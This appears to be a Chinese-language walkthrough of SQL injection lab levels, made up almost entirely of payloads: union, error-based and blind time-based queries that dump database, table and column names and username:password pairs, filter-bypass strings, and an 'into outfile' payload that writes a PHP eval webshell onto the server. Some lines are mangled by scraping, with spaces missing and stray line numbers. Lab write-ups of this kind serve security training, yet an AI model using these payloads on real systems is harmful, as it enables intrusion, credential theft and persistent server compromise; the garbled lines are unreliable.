1' and 1=1 -- - 1' order by 3 -- - -1' union select 1,(select database()),3 -- - -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- - -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- - -1' union select 1,group_concat(username,0x3a,password),3 from users -- -
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 10,1),0x7e),1) -- - 1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) -- -
1' and sleep(5) -- -
2、无闭合,可用联合查询、报错查询、时间盲注
1
-1 union select 1,database(),3 and sleep(6) -- -
3、闭合方式:')
可用联合查询、报错查询、时间盲注
4、闭合方式:")
可用联合查询、报错查询、时间盲注
5、闭合方式:' 可用报错查询、时间盲注
updatexml(目标xml内容,xml文档路径,更新的内容)
1
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
6、闭合方式:" 与5相同,只是闭合方式不同
7、提示: You are in…. Use outfile……
使用写入一句话木马的方式注入 闭合方式:')) 1’)) and 1=1 – - 1’)) and 1=2 – - 1’)) order by 4 – - 可通过盲注判断,使用写入木马的方式注入 写入条件:mysql.ini配置文件中需要有 secure_file_priv= 配置
1
1')) union select 1,"<?php @eval($_POST[123])?>",3 into outfile "D:\\xx\\xx\\phpStudy\\phpStudy\\PHPTutorial\\WWW\\123.php" -- -
1' and 1=1 -- - 1' and 1=2 -- - 1' order by 3 -- - 1' order by 4 -- - 1' and length(database())>10 -- - 1' and length(database())=8 -- - 1' and ascii(substr(database(),1,1))=115 -- - 1' and ascii(substr(database(),2,1))=101 -- - 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 -- - 1' and ascii(substr((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105 -- - 1' and ascii(substr((select id from emails limit 0,1),1,1))=105 -- - 1' and ascii(substr((select id from emails limit 0,1),1,1))=49 -- -
数据库名长度: 1'andif(length(database())=8,sleep(5),1) -- qwe 利用ASCII码猜解方式获取当前数据库名称: 1'andif((ascii(substr(database(),1,1))=115),sleep(5),1) -- - 延时,说明数据库名称第一位是s 猜解表名: 1'andif((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - 延时,说明数据库表名的第一个的第一位是e 猜解字段名: 1'andif((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - 如果返回正常,说明emails表中的列名称第一位是i 猜解数据: 1'andif((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- - 如果返回正常,说明id列中的列名称第一位是1
10、提示:You are in………..
通过如下语句判断闭合方式,延时之后确认闭合方式是:'
1 2 3
1 and sleep(5) -- - 1' and sleep(5) -- - 1" and sleep(5) -- -
按照上一关盲注的手法,做法跟之前是一样的,只是闭合的区别,注入方式还是使用 时间盲注
payload:
1 2 3 4 5 6 7 8 9 10
数据库名长度: 1" and if(length(database())=8,sleep(5),1) -- qwe 利用ASCII码猜解方式获取当前数据库名称: 1"andif((ascii(substr(database(),1,1))=115),sleep(5),1) -- - 猜解表名: 1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- - 猜解字段名: 1"andif((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- - 猜解数据: 1" and if((ascii(substr((select id from emails limit 0,1),1,1))=49),sleep(5),1) -- -
26、绕过过滤:闭合方式:'
1 2 3 4 5 6 7 8 9 10 11
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return$id; }
过滤了这么多
payload:
1 2 3 4 5 6 7 8 9 10
?id=1' || '1'='1 ?id=1'anandd'1'='2 # 报错查数据库名 ?id=1' || updatexml(1,concat(0x7e,(select(database())),0x7e),1) || '1'='1 # 报错查表名 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)=database()),0x7e),1) || '1'='1 # 报错查字段 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name)="users"),0x7e),1) || '1'='1 # 查数据 ?id=1' || updatexml(1,concat(0x7e,(select (group_concat(username,passwoorrd)) from (security.users)),0x7e),1) || '1'='1